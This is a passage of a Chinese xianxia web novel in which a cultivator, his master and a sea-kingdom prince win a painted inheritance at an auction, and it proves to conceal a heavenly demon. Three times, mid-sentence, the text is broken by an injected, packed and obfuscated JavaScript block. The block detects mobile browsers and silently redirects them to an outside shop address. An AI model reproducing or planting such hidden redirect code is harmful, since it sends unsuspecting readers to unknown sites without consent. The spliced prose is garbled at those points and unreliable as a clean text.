良……什么?!严文洲怀疑自己听岔了,他盯着杜衡看了一阵,发现这人脸上还是惯常的平静,只是看向二皇子的眼神略带不屑。 那丝不屑十分不显,若不是熟悉他平常模样的人完全看不出端倪,然而一旦察觉,便变得极其刺目。 许是推演天机的本事太过了得,这位太易宗宗主、自己的好师尊从来都是一副温柔平和、万事不萦于怀的姿态,颇有几分神仙救世的气息,凡人身上的好恶都似乎不存在一样。 他甚至曾经怀疑过这人的道——该不是那臭名昭著的无情道吧? 如今看杜衡模样,严文洲惊异之余,居然还生出了几分不合时宜的笑意。 杜衡,原来还有这等时候? “徒儿并无此等想法,只是这位二皇子似乎将我当成了什么人罢了。师尊莫不是,还记得天魔幻境中的事?” 杜衡眸光微沉,看向二皇子的眼神多了几分不善,“既是如此,还是早些与他说清为好,免得生出些变故。”顿了顿,他又送来一道心音,“徒儿你修为尚浅,此事麻烦琐碎,不若为师来做。” 严文洲:“……” 二皇子听不见传音,只看着那位杜宗主的眼神愈发冷淡,到后来竟然有了几分隐约的杀意,可严道友…… 他仔细端量了许久,肯定那人脸上的是笑意! 为何!? 难不成那银发修士搞了什么鬼!? 三人在进门处耽搁许久,管事的大气不敢喘,生怕这三位直接在门口大打出手,背后已然出了身冷汗——探子都在干什么!?若情报探出了这两人有龌龊,他们是说什么也不会把人安排在同一个入口进拍卖场的! 若是两人真打起来……他微低着头,双手不动声色地在背后打了个隐蔽的手势,示意周围警戒起来。 不知想到了什么,杜衡最终朝二皇子点了点头,“可。” 二皇子不知就里,直觉里面有问题,但他想了想身上的法宝,又想了想那张一不留神便会搞错的脸,一咬牙还是跟了上去。 三个都是要重点关注的客人,也都是危险的客人。自从出了门口那一回小插曲,辉虹阁使出了十二万分的精力,茶水灵果一个不缺,拍卖品名录也免费奉上,连压轴的重宝都透了个底,包间门口还多了两个金丹傀儡守门,似乎生怕他们一言不合砸了拍卖场一样。 严文洲神识扫了遍玉简,瞥见了一斤千年陨铁,其余再无兴趣,便懒洋洋地往后一倚,捻起一串果子吃起来。 杜衡和二皇子如今不对付,目不斜视地看着下方拍卖台,半点不多看。另一边,二皇子差不多也是一样,只不过盯着的对象从拍卖台变成了严文洲自己。 严文洲当惯了视觉中心,浑然未觉,眼神反倒不自觉地移到了杜衡身上。咚——咚——心跳依旧,可幻境中的欢悦仍未忘却,那是心动么? 幻境虽假,可有些东西是真的。 严文洲长叹一声,竟不知如何才好。 虽说自己先前确实没皮没脸地打过杜衡的主意,但想起来得越多,他便越是有种不安感,似乎他和杜衡之间隔得不仅是那个莫须有的道侣,还有一些更难以言说的东西。 时至今日,他仍然想不明白,为什么自己会在幻境中径自把杜衡认作温蘅? 严文洲想了好一会儿,全然没发现二皇子偶尔从自己身上滑开,看向杜衡的眼神也变了意味。这期间,拍卖玉锤已然敲下了好几次,气氛愈发热烈。 “下一件,一斤高纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091141|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度千年陨铁,起拍价一百中品灵石,每次加价不得低于五十中品灵石!” 千年陨铁是很常见的炼器主材,坚硬无比,又和大多数材料完美融合,尤为受剑修喜爱。这东西在四洲并不算难找,但寻常能见到的都是二三两,一次性集齐一斤并不多见。若再凑些辅料,送与有经验的炼器师,那么一次出两件法器也不是不可能。 此物一出,底下散座的气氛又攀上了一个新高度,楼上包厢也开始陆续出价。 一见严文洲直起了身,眼神落到了拍卖师背后的数字上,二皇子的心思立刻活络了起来,神识在满满当当的储物袋里扫了一圈,立刻道:“严道友使刀,修为又到了金丹,可是有锻造本命法宝的打算了?这东西虽好,到底比不上碧水鳞晶,严道友若有此打算,我这里正好有一些!我不使那些刀枪剑戟的,又与严道友一见如故,不若赠与道友!” 说话间,二皇子便不知从哪里拎出一只描金托盘,手腕一翻,托盘上多了拳头大的一块碧蓝晶体。甫一出现,包厢中灵气浓郁程度便上了一个层次。 碧水鳞晶,只在蛟龙领地附近才有,蛟龙气息愈重,碧水鳞晶品质便愈好。这块鳞晶是从一位炼虚期蛟龙手中换到的,举世罕见,二皇子很有自信。 但下一刻,他只见严文洲笑着摆了摆手,“海道友误会了,千年陨铁并非自用,只是有位好友正好需要而已。道友还是速速将鳞晶收起来吧。” 什么好友连千年陨铁都会帮忙竞价! 二皇子一咬牙,没动,“严道友不打算锻造本命法器么?材料莫非已然都集齐了?” 本命法器即是和修士自身性命关联的法器,虽然真正建立链接是元婴期的事了,但搜集材料的过程一般从很早就开始了。太易宗是什么!?二皇子根本没听说过,他就不信这么个小宗门能给出比碧水鳞晶更好的东西! 越过严文洲,他趾高气扬地看着杜衡,然而这位乡野小派的掌门人只平静地扫了一眼,“本命法器的事情自然有我这个师尊来操持,二皇子着急什么?” 说着,又给千年陨铁出了次价。 “海道友无需担心,我现下不过才入金丹期,元婴还早着呢。”严文洲同样安慰道,顺道儿还把描金漆盘往鲛人那里推了寸许。 话都说到这份儿上了,二皇子也只能恨恨地收了鳞晶,暗自决定以后再找机会。即便不是为了那张熟悉的脸,单单这人的修为便值得结交——古往今来有几人能在结丹时便引来天雷的!? 派出去的虾兵蟹将可都是亲眼见证,这人可是引来了整整三道天雷呢! 既然他用秘宝探过此人身上并无太多凶煞气,那就只有一个可能了——此人十分了得! 笃笃—— “贵客拍下之物现已准备好,敢问是即刻奉上还是结束之后一并来取?”雌雄莫辨的声音于门外响起,却十分清晰。 “现在送来吧。” 然而开得却不是门,三人面前悄无声息出现一个小型法阵,瞬息之间便多了一只小储物袋。 严文洲神识一扫,正是一斤千年陨铁。 杜衡伸手摄来,往严文洲面前一递,状似无意道:“不知是哪位好友,可否让为师也见上一见?” 玉白手指拎着一只深色锦袋,对比格外强烈,配上杜衡一脸惯常的笑意,本是极好看的。然而严文洲却在这一刻感受到了些许古怪,压了压心绪,只道:“不过是位寻常好友罢了,先前承了他几分人情不好还,这才有此一遭。” 杜衡状似遗憾地点头。 包厢中又安静下来,下方的热闹半点传不上来。 二皇子本就不是什么粗枝大叶的鲛人,秉承着鲛人们敏锐的感知力,他察言观色的本事可以说是一绝,眼神一扫,便知这师徒二人之间似乎并非自己先前料想的那般单纯。 加上先前看到的那些小动作…… 二皇子看向杜衡的眼神愈发不对劲了。 拍卖玉锤又敲过十二下,拍卖师脸上半点不见疲色,反而愈发精神,双臂一张,声音陡然压过了喧嚣:“诸位道友,今日的拍卖已然到了尾声!想必诸位都知道,我们今日有一件重宝呈上——” 他拖长了调子,尾音饱满有力,似乎自己也激动得不行。 盛放着拍卖品的高台上陡然出现一卷画轴,随着他的声音缓缓展开,“乃是,一份传承!” 话音落下,画卷完全展开,一位持剑灭邪魔的女子出现在了眼前。 严文洲神色骤变——那画卷上的女子,正是江明紫! 30.东洲事(六) 四洲历6457年,东极道主已然做了三百多年魔道魁首后,而距离他屠杀百川江家,已经过了四百余年。 这期间,斗转星移,物是人非。 曾经有幸目睹垂云汀繁盛的修士,不是因为各种原因身陨道消,便是已爬上了各宗各派的掌门、长老的位子,能在此时此刻出现在海东城辉虹阁拍卖场的,屈指可数。 这其中又有几人还记得江明紫的姿容呢? 鉴定、经手这份传承的辉虹阁管事认出这是曾经的江家家主了么? 若是认出了,辉虹阁又是打算做什么呢? …… 严文洲空白了瞬间,心中陡然升起各种各样的想法,到最后只余下一个——若是他没有经历过天魔幻境,那今日还能认得出来江明紫么? 拍卖师敲下宣布拍卖开始的玉锤后,场中寂静了片刻,很快爆发出比原先更嘈杂的动静来,几乎要把屋顶都掀翻了。 传承是一宗一派立身根基,现在四洲数得上名号的宗门没一个是凭着一份烂大街功法白手起家的。上乘传承包含无数法门,从主修心法到旁门左道一应俱全,再也不愁空有修为而没有进阶功法可练。 更有些有财力的势力,传承乃是用小洞天承载,继承这份传承便是继承了一个小洞天,灵气是不消说的,宗门前辈们积攒下来的财宝多半也在其中! 古往今来,有无数传奇话本都是以某散修意外得到了一个小洞天传承而开头的! 可向来做事周全的辉虹阁仅仅宣布这是一份传承,再多的,便一个字也没了。 散座的修士交头接耳了片刻,一时间居然无人出手竞价。 一来,事关传承,定然会以天价结算,散座修士多半负担不起;二来,传承也是要挑人的,世家宗门之中尚可以一个个弟子试过去,可单单一个修士却不行,说不准便打水漂了;三来,辉虹阁含糊不清,这事情恐怕有蹊跷。 拍卖传承这种事虽然曾经发生过,但极为少见,百年也难遇一回。这么一想,散座修士几乎都抬头看向了上方,等着看好戏了。 包厢内,严文洲怔愣了许久,眸光沉得令人心惊胆战。没有人,包括他自己,能料到严文洲这个人今天会出现在海东城的拍卖场。 自南洲来到东洲是那位夜游宫长老搅局,从郁林城到海东城又是因为夜游宫和海国的龃龉,而踏入这拍卖场,还得多谢二皇子。这一切的起因,似乎是新月湾小秘境的变故,但深究起来…… 严文洲沉沉呼出口气。他先前便试探过,身上这片玄天卷分魂是不知道天魔幻境中发生什么的,它只知道,宿主陷入了一个幻境。 “统兄,你可认识那画卷上的女子?” “你当我是万事通么!?”系统炸毛的心音顿时响起,“我警告你哦,别想着再利用我的检索功能在哪里瞎折腾,单凭一张画可是什么都搜罗不出来的!” 那便是真不知情了。严文洲不再言语。他朝杜衡看了眼,见这人面沉如水,手中已然出现了几根蓍草,开始算起卦来。 与此同时,拍卖师背后的竞价牌也在长久的沉寂中迎来了再一次闪烁:“十万中品灵石!” 一片哗然。 严文洲眼皮一跳,直觉出价人是认出江明紫了。要知道,十万中品灵石已经是一个中型门派半年的开销了,敢花如此高价购买一份未知传承的,不是钱多烧得慌,就是知晓了传承的底细。 难不成这次坑得不是他,而是另外哪个倒霉鬼?! 拍卖师激动得脸通红,瞪着画卷的眼神比看道侣还要亲。 “这个剑修,”二皇子已然琢磨了好一会儿画卷,“这个剑修,好生眼熟……” 严文洲心中一动,直接道:“海道友可曾到过垂云汀?” “对!江明紫!”二皇子陡然大叫起来,弹射般站起了身,看向拍卖台的眼神满是不可思议,“这、这、这是江家传承?!” 当然不是。严文洲扯了扯嘴角,眼神微妙。江家的传承珠还在自己身上呢。 竞价牌一闪,有人报出了更高的价格:“十二万中品灵石!” 二皇子原地转了几圈,已然反应了过来,“不,不对,画卷上既然是她,那么多半不是江家传承。那、那……”他陡然停步,忽又大步迈向竞价台,阴着脸拍下一串数字。 下一刻,拍卖师险些破音的声音响起:“二十万中品灵石!” 严文洲唰地扭头。对了,这里还有个待宰肥羊呢!还是富可敌国的那种! 哗啦一下扔出了二十万灵石,二皇子像是骤然回了魂儿一样,终于不再没头苍蝇似的乱转了,转身悠哉游哉地重新坐到了靠背椅上,一副气定神闲、游刃有余,完全不在意对面出价的模样。 “二十二万中品灵石!” 二皇子摇头,指尖灵光一闪,又是一个新价——“二十五万中品灵石!” 等对面出价的功夫,他还扭头跟严文洲笑呵呵地聊了起来:“严道友认识紫霄剑?” 严文洲摇头,一副遗憾未能得见真人的表情,“只是于藏书阁中偶见一片剑意留影而已。想着以海道友的资历,说不定曾经去过垂云汀,才有此一问。” “能有剑意留影,想来严道友族中底蕴颇丰。” 吹捧了一句后,二皇子唏嘘地叹了一声,“唉,当年的垂云汀当真是有仙家洞天福地的气韵,如今想来,亦是难忘!至于紫霄剑……”他脸色陡然扭曲,似乎有些畏惧,又像是怜悯,“我当年还跟她打过一场,谁想到她居然早早陨落了呢?” 说话间,价格已然攀上到三十五万中品灵石,用于传送物品的法阵忽地一亮,雌雄莫辨的声音又响了起来:“另一位出价人托我们辉虹阁传句话过来,不知三位贵客想不想听?” 不听,可以假装无事发生,只是未免忐忑,说不定到时候连死都不知道栽在谁手里了,听了,那便是要做好被人恼羞成怒打击报复的准备。 钱砸不到便以势压人,这样的事历来都有。 严文洲只见二皇子朝扭头两人摆了摆手,示意他们不要掺和进来,便十分嚣张道:“快些说,等会儿我也有句话要你带给那人。” 传话人诡异地沉默了一下,“……九霄剑派还望诸位给个面子。” 简单、直接、粗暴,没有半点客套,非常符合传闻中的剑修风范。 二皇子不屑地嗤笑一声,什么玩意儿,东洲还有这个门派呢啊! “转告他们,我乃海国海无涯!” 余音未散,传送法阵已经再度熄灭。 严文洲莫名一乐,转头一一看去,海国二皇子一脸势在必得,杜衡支着头,神情平淡至极,也不知道到底算到了什么。 可九霄剑派想要一份有可能蕴含紫霄剑意的传承,不难理解,可海无涯呢?总不能他其实也是个剑修吧? 另一边,九霄剑派再次出价:“三十五万中品灵石,再加一枚千年白玉朱果!” 严文洲不禁摇头,心里明白三十五万中品灵石已经到九霄剑派的底线了,多加的一枚千年白玉朱果不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104037|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊胜于无而已。 果然,二皇子冷笑一声,下一瞬,“三十五万中品灵石,再加三两蛟龙血琥珀!” 偌大的拍卖场一下落针可闻。 白玉朱果虽然难寻,但到底还是每隔二三十年便能看见的东西,可蛟龙血琥珀却是有价无市,挂在悬赏榜上百年都没人愿意拿出来的东西!更何况,还是整整三两! 拍卖师一下摒住了呼吸,险些丢人地昏过去。许久,他才轻轻敲了一下玉锤,“三十五万中品灵石及三两蛟龙血琥珀,一、一次!” 若一滴沸水溅落入油锅,人声顿时爆炸式地冲击散开,即便是在施加了单向隔音阵法的包厢里,严文洲也能听出其中的躁动。 再未有人出价。 一直到画卷出现在传送阵中,喧嚣也未曾回落半点。 可以想见,一炷香之后,辉虹阁有个大买主砸下了三十五万中品灵石并三两蛟龙血琥珀的消息就会传开,不用等到明天,所有在海东城的修士都会猜到这是谁的手笔。 蛟龙血琥珀哪里可能有? 自然是海国啊! 严文洲轻叹一声,对海国的富裕程度有了个新认知。 二皇子已经迫不及待地将画卷再度展开,细细欣赏了起来。 别的不说,这作画人显然技艺高超,剑下邪魔的狰狞与挣扎呼之欲出,随意扫一眼便能感受其中的可怖,然而洋洋洒洒地描绘了邪魔后,这人描画江明紫却极为克制,尽管用笔寥寥,但神韵宛然若生,锋锐杀意力透纸背。 严文洲一眼便认定,作画人定然曾经见过江明紫,多半还与她关系极好! 这样的人,四洲也没几个。 杜衡未免也多看了一眼,一看之下便觉得古怪,然而此刻,二皇子的神情已经扭曲到了极点! 传承筛选继承人不过片刻,有些快的更是眨眼的功夫,修士往往还不知道发生了什么便被扔了出来,连跌足长叹自己无缘的机会都没有。 二皇子也许不是个性急的,但此刻烫手山芋正在手上,若是不早些揭晓答案,实在不安心。况且,辉鸿阁的防护向来极好,说不定比夜游宫安排的洞天别院还要好上一筹! 严文洲和杜衡看画的功夫,他已经在画卷中呆了一会儿了。 一弯月轮似的薄刃猛然从天空中劈下来,锋锐刀光逼得连神识都觉得刺痛无比,不可直视,刹那间,风烟俱净,二皇子只觉得身上完全不可抵抗的桎梏一松,再回神时,神识归位,面前的剑仙灭魔图已经完全变了样—— “江明紫”居然扭过头,另外半张脸白骨森然,却又流露出几分不言自明的笑意,而紫霄剑下的邪魔,一改垂死衰态,隐隐显出任其驱使的模样! 颠倒只在刹那之间! 二皇子惊怒交加,神识剧痛之际尚还来不及反应,只见严文洲手中寒光一闪,一柄长刀已然劈了上去。 画卷沿中轴线被劈开,落叶般飘落到地上,还未完全接触到地面便化作了一团灰烬。微风一吹,散了。 三十万中品灵石和三两蛟龙血琥珀,就这么灰飞烟灭了。 “天魔。”杜衡悠然带笑的声音传来,一团灰雾在他手里左突右冲,却始终逃不开他的掌心。 二皇子来不及心疼那些打水漂的灵石材料,只愣愣地看着严文洲。方才那刀光长长盘桓在他心中,一遍又一遍,仿佛又把他拉回了百年前的某刻,即便神识被重创,他也不会认错那刀光。 一如紫霄剑斩尽邪魔; 一如,东极道主曾经的刀光。 31.东洲事(六) 严文洲意味深长地扫了二皇子一眼,收了白鱼刀,溜溜哒哒走到了杜衡身边,“师尊,你可曾算出什么?” 杜衡随手把灰团塞进茶盏里,半分眼神都没落在不远处的倒霉蛋身上,连那能劈开天魔的刀光也没多问,只说道:“东南方向。” 严文洲一挑眉,“小蓬莱。” 杜衡点点头,又摇摇头,迤逦银发在背后晃出夜月水面般的涟漪,“卦相并未点出是小蓬莱,只能看出问题在东南方向。” 十分诚实,十分严谨,不愧是修习卜算之道还能一路活到炼虚期的。 严文洲惊叹地看了便宜师尊一眼,眼睁睁地看着这人嘴角笑意逐渐加深,最后弯成一个几近于稚拙的笑。 这笑在旁的成人身上或许有些突兀,但在这人身上却不见半点痴愚,似乎他完美无瑕的外壳里有什么东西陡然伸出了一点。 似乎也知道自己过了,那一点太易宗宗主之外的东西瞬息而逝,只存在了短短几个刹那。若不是一直关注着他,恐怕根本发现不了。 只见杜衡眼神微妙地叹了一声,摇头道:“徒儿,看破不说破,说破了可是要倒霉的。” 严文洲毫无顾忌地笑了出来——他算是知道杜衡这副神神叨叨的谪仙外表是怎么修炼出来的了。 如此目无尊长,寻常做师傅的总该有些恼意,可现下杜衡对自家二徒弟的身份早就有所怀疑,更有天魔幻境中的一档子事,对严文洲的感觉十分微妙,加上本来就是个好性子,于是只无奈地说道: “方才那画卷上所用金墨的原料出自方壶岛附近巨鲸,独此一份,小蓬莱之外极难获取。世人只道小蓬莱宗主痴恋紫霄剑,便是在她神殒道消后亦不改其心,如今看来,其中许是有些蹊跷。” 痴恋紫霄剑?严文洲挑了挑眉,没做声,下意识觉得祁照水这等人绝不会痴心至此,其中定然有问题!不过祁照水这些年似乎也确实没做什么,系统先前只给出了一些诸如什么时候继任宗主、什么时候参加风雨论道之流道烂大街情报,隐秘些的东西半点也无。 难得这回他和系统目标一致,想了想,他便给系统送了道心音:“统兄,可否帮我在藏书阁中检索一下江明紫?” “……行吧。” 二皇子也终于从刀光剑影中回过神,瞪着地上残留的一点灰烬气得整张脸通红,“这、这天杀的辉鸿阁,居然敢伪造传承!还在传承里塞天魔!真是、真是活腻了!” 栽了这么大一个跟斗,二皇子这种顺风顺水惯了的鲛人自然不会自认吃亏,灰溜溜地离开拍卖场。当下,他便狠狠一拉门,对着门外两个金丹修士道:“去把你们管事的找来,我有话要问他!” 脸色不对,声音发冷,加上方才隐约感知到的杀气……其中一位金丹修士哧溜一下便跑得没影儿了,只留下同伴在原地大气也不敢喘。 砰——门又关上了。 好险好险。守门的金丹修士擦了把汗,稍稍放松了点。 门内,严文洲等着系统检索的功夫,闲不住似的悠哉悠哉地给二皇子倒了杯茶,“海道友莫着急,虽说你是为了天魔祭一事才来得海东城,可那是因为夜游宫主当时恰好在这里。我听闻,她平常可是在海西城的。海道友这回说不定是无妄之灾。” 二皇子一愣,确实,他上岸的时候没多想,听闻夜游宫主在海东城便径直冲了过来,后面的耽搁不过巧合。若自己今日没来,那这份有问题的“传承”么……呵,多半会落到九霄剑派手中,到时候,坑的就是他们的人了。 二皇子的神情顿时微妙起来。 说话间,辉鸿阁的管事已经敲了门,得了应允之后便略有些疑惑地走了进来。 辉鸿阁产业遍及四洲,比之一些二流门派有过之而无不及,管事的自然不是寻常人,也有元婴期修为,放在一些小门派里完全能做长老了。 不等管事开口,二皇子便骤然发作,化神大圆满的威势瞬间充斥着整个包厢,“你们居然敢伪造传承!这是把辉鸿阁的信誉都弃之不顾了么?” 管事顿时汗如雨下,三十五万中品灵石还没有捂热乎呢,怎么就冒出这样的事情来?!扫了眼地上可疑的灰烬,以及那只散发着诡异气息的茶盏,他急忙辩解道:“传承如何能伪造?贵客可莫要开玩笑了,方才那份灭魔图经过我辉鸿阁的多重鉴定,均没有问题……” 杜衡骤然打断道:“不知管事可曾听过太易宗的回溯术?” 声音虽然轻缓,但管事脸色顿时更加难看了。 旁人或许不知道,但在辉虹阁这里,太易宗宗主可绝对算得上是一个需要注意的人物!这人既然如此出声,那便是要站在海国二皇子这一边了。 “太玄旧影,自然是如雷贯耳,不过,”他停顿了一下,正犹豫着如何应答,门又一次被推开了。 “不过我辉虹阁只负责售卖,不负责真假,这传承乃是从一海外散修手里收来的,我等只确认其中确实有东西,至于里面有什么,又是真是假,那便看客人的眼力了。” 进来的是一个浑身罩着黑斗篷,半点看不清样貌的修士,此人身材高大,乍一看就跟门口飘进来了一团黑雾一样,观感极差。 管事的大喜,“楼台使!” 辉虹阁每个分阁都配有一位楼台使,数名管事,外加一堆杂役弟子,其中以楼台使为尊,能做到楼台使这个级别,起码得是化神的修为。 开门的刹那,严文洲已然下意识地要戴上面具,手指擦过去碰到了坠子才意识到自己已然隐匿了面容。 这人,或许是个仇家。 二皇子闻言大怒,“什么时候包着个天魔馅的玩意儿也能叫传承了?传承心魔么?!” 此时此刻,换做随便哪个人都会有些尴尬,但这位斗篷兄包得实在太严实了,半点情绪都泄不出来,只能听到他平静至极的声音,“未尝不可。” “……” 二皇子本来已经自认倒霉了,根本没打算讨回那些灵石材料,但此时一听这斗篷兄没心没肺的话,他心中怒气陡然窜了上来,“未尝不可!?道友怎么不自己尝尝天魔的味道,杜宗主那里不是正好留下了一点么!?” 也不知这人是怎么想的,居然真的飘过去去拿茶盏了,没等他靠近,杜衡却先袖子一卷,带着天魔茶盏退开了,笑眯眯道:“道友莫要激动。” 这举动实在古怪,哪怕是小莲台境那帮视天魔若无物的和尚也没有这样的。严文洲皱眉扫了管事一眼,见他也是一脸惊骇便知这位斗篷兄平日里应该不是这个做派。心中一动,他正要抬脚朝杜衡那边走去,便听斗篷兄幽幽问道:“杜宗主什么时候又收了一个徒弟?” “辉虹阁什么时候还管收徒的事情了?莫非是新开辟了一门贩卖人口的生意不成?” 杜衡表情未变,还轻松地朝严文洲做了个过来的手势,但话说得实在尖利,甚至可以说是难听,管事的青白的脸色瞬间便朝着铁青狂奔而去。 局面一时僵持。 正巧此时系统的检索结果也终于慢悠悠地出来了,严文洲细细看了起来,神情骤然一凝——某年某月某日,江明紫入浮玉山秘境,三刻后,天火坠落,秘境崩塌。 浮玉山秘境空占着一个秘境的名头,实则却不是秘境,而是大能论道之所。 修为到了一定阶段后,若有意,那么举手投足都可改换周围环境,而一旦论道起来,那便收不住了,随便一点锋芒都可能削峰填谷,截流断江,于是乎,千年前便有位精通炼器之道的大能,利用手头一处破碎的小秘境改造成了适合大能论道的道场,还用传说中古仙山的名字给它命名为浮玉山。 那次论道是三百多年前的事情了,彼时,江明紫即将继任家主。 熟悉的剧痛席卷而来,严文洲心中陡然升起一股悲伤,系统也好、杜衡与二皇子也好,所有的声音都在刹那间远去,只有一个遥远的声音似乎跨过了光阴,在耳边忽然响起: “天之道损有余而补不足,人之道损不足以奉有余……” “宿主!啊啊啊宿主你发生什么了!?我不会要换宿主了吧!?” “严道友?严道友!?严道友你没事吧?” “徒儿?” 严文洲回过神,深深吸了口气,声音都在抑制不住地发抖。不知为何,这回的记忆回溯比先前几次要剧烈许多,他整个人居然不知不觉地半靠在了杜衡身上,银缎子般的发丝在眼前飘了几许,怪痒的。 而且,辉虹阁那位藏头露尾的斗篷兄绝对在盯着自己! 严文洲没有起身,就着这个不太妙的姿势轻声道:“师尊,许是方才天魔的影响,旧伤又复发了。” 杜衡一顿,表情沉了下来,“好不容易才将将养好的伤,居然毁在了这里!徒儿我们走!”说完,他便朝二皇子拱了拱手,带着严文洲走人。 目送着二人离去,二皇子本就难看的脸色更加恐怖了,管事的心拔凉拔凉的,觉得辉虹阁将来在海国的几个据点恐怕都保不住了。 他拼命朝身边的楼台使使眼色,奈何不知道是斗篷捂得太严实了没看见,还是视若无睹,这位楼台使半点不带动的。 管事的绝望了许久,忽地有些庆幸——好在不用自己负责。 另一边,严文洲一边被杜衡半扶着离开辉虹阁,一边琢磨着刚才那个声音。那人声音苍老而平和,并不是江明紫的声音,那又会是谁呢? 自己又为什么会听到这一句声音呢? 他忽地想起来,那次浮玉山论道,太清宗上一任掌教疏星真人也在其中。而且,一并失踪了。 许是知道了方才的变故,给他们引路的童子一路匆匆,把他们带到辉虹阁门口就一溜烟地跑了回去。 这个姿势未免不方便,严文洲觉得装到这里也差不多了,谁说旧伤复发就只能这么靠着人呢,当修士的忍耐力是假的?正要起身,杜衡却按住了他,微微侧过头轻声道:“做戏还是要做全套,徒儿忍耐片刻。” 不待严文洲回答,他便招出云舟将他扶了上去,一路风驰电掣地回了洞天别院。 一踏入别院,严文洲陡然自在了,不待杜衡眼神扫过来,自己已经跳下了云舟,顺口还问了一句:“师尊可曾见过太清宗疏星真人?” 杜衡思索片刻,摇头,“疏星真人陨落已久,徒儿问他作甚?” 严文洲有些遗憾,“没什么,只是想起紫霄剑和疏星真人都是在浮玉山秘境陨落的,师尊又将宗门定在了飞仙城外,便以为师尊和疏星真人有旧交了。” 杜衡眼睛一弯,“疏星真人于宗门南迁之前便身陨了,如何会有旧交?我选飞仙城外那块地方不过是因为那里既有灵脉又恰好无主而已。” 太易宗那条灵脉虽小,却算得上精纯,难不成旁人都以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116408|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太清宗的地盘,便无人敢觊觎?严文洲顿觉好笑,忽地一怔,不可思议地看向杜衡——这人炼虚期之前都没来过南洲!? “对啊,为师修得是推演天机,又不是勘测地貌,何须踏遍四洲?” 看着杜衡一脸理所当然,严文洲一阵牙酸,陡然明白了先前的困惑。 难怪以此人的姿容和修为在四洲却没什么名气! 要知道,四洲多的是闲得无聊便要生出些事来的修士,他们最喜欢干的一件事就是排榜单,什么神兵榜、神丹榜、八大世家、十大宗门之流都是他们弄出来的。 为此,没少惹出些事来! 可若是有人一直窝在宗门里不出来,那便是再高的修为,再强的本事,也无人知晓,更枉谈排榜了! 正感叹着,杜衡又问道:“徒儿伤没事了?” “……回去调息片刻应该就没有大碍了。” “神魂之伤不可轻视,徒儿还是小心为上,”杜衡顿了一下,伸手在自己宽大的袖子里掏了半天,掏出来一只十分朴素的青白玉瓶递给严文洲,“这瓶无缺丹徒儿便拿去用吧,应该,唔,应该是三日一粒来着。” 严文洲不可置信地接了,神识迅速扫了一遍,直觉这里面的东西确实是传闻中炼丹师的死敌——无缺丹。 据说出一炉无缺丹,前面起码有十炉废丹垫底,这东西放在辉虹阁里,也是有价无市,一出现就会被抢光的好东西!自己这个便宜师尊,似乎,还是有点身价的。 他真心实意地道了谢,转身便回了房,开始闭目调息。 至于东南方向如何……早着呢,且等海无呀到底会把海东城乃至东洲搅和成什么样吧! 翌日,洞天别院门口悄然多了一只锦盒,被来请杜衡的夜游宫门人诚惶诚恐地递了进来。 严文洲扫了一眼,心下了然,这便是辉虹阁的贺礼了。灵石丹药,天材地宝,确实都是好东西,只是比起海无涯砸下去的海量灵石,那便是九牛一毛了。 待弟子把来意说完,严文洲顺道拉着这人打听了一下外面的风声。听了没几句,他便觉得这位海国二皇子上岸上得真是时候! 据说,当日海无涯见那位辉虹阁楼台使死不承认传承有问题,一气之下直接把事情捅到了还没有离开的九霄剑派长老面前!巧得很,九霄剑派是要参加还真山庄的论道才在海东城暂歇,这次带队的正是素有盛名的暴脾气长老。 九霄剑派虽没有辨认天魔气息的法门,但这人好歹是个炼虚期修士,眼力还是有的,当下便觉有古怪,直接叫来了自己的好友,小莲台境的某位佛修。 于是乎,天魔的存在就这么大剌剌地出现在众人面前了。 听说那长老气得当场就要宰了楼台使,若非辉虹阁及时启动了楼内的防御法阵,恐怕要酿成一场血案! 然而事情还没完,鉴于自家城池内又出现了天魔,还没有离开海东城的夜游宫主也不得不掺和进了这件事里。 这一下,东洲寥寥几个仙门势力都被扯了进去,还十分凑巧地碰上了风雨论道的时候,简直是给魔道们看笑话。 这位夜游宫弟子说得摇头不已,青白的脸色都涨出了几分红色,“唉,宫主此番遣我来送帖子请杜宗主,为的就是请杜宗主出手算一卦,看转机在何方。” 严文洲哦了一声,状似无意问了一句:“听闻东极道主和天魔交情不浅,东极道现在可有什么反应么?” 弟子愣了一下,他还是头一次见到有人用“交情不浅”来形容那一位和天魔的,说得好像这俩之间志同道合一样。想了想,他摇头道,“自从那一位失踪之后,东极道那群疯子就很安静,好像也没干什么事。不过海东城离他们太远,说不定是我消息滞后的缘故。哈哈哈,想来东极道主若是活着,恐怕旁人就要怀疑这等事情是他……” 弟子神情一滞,喃喃自语起来,“传闻东极道主有驱使天魔之能,难不成、难不成东极道那群人就是……” 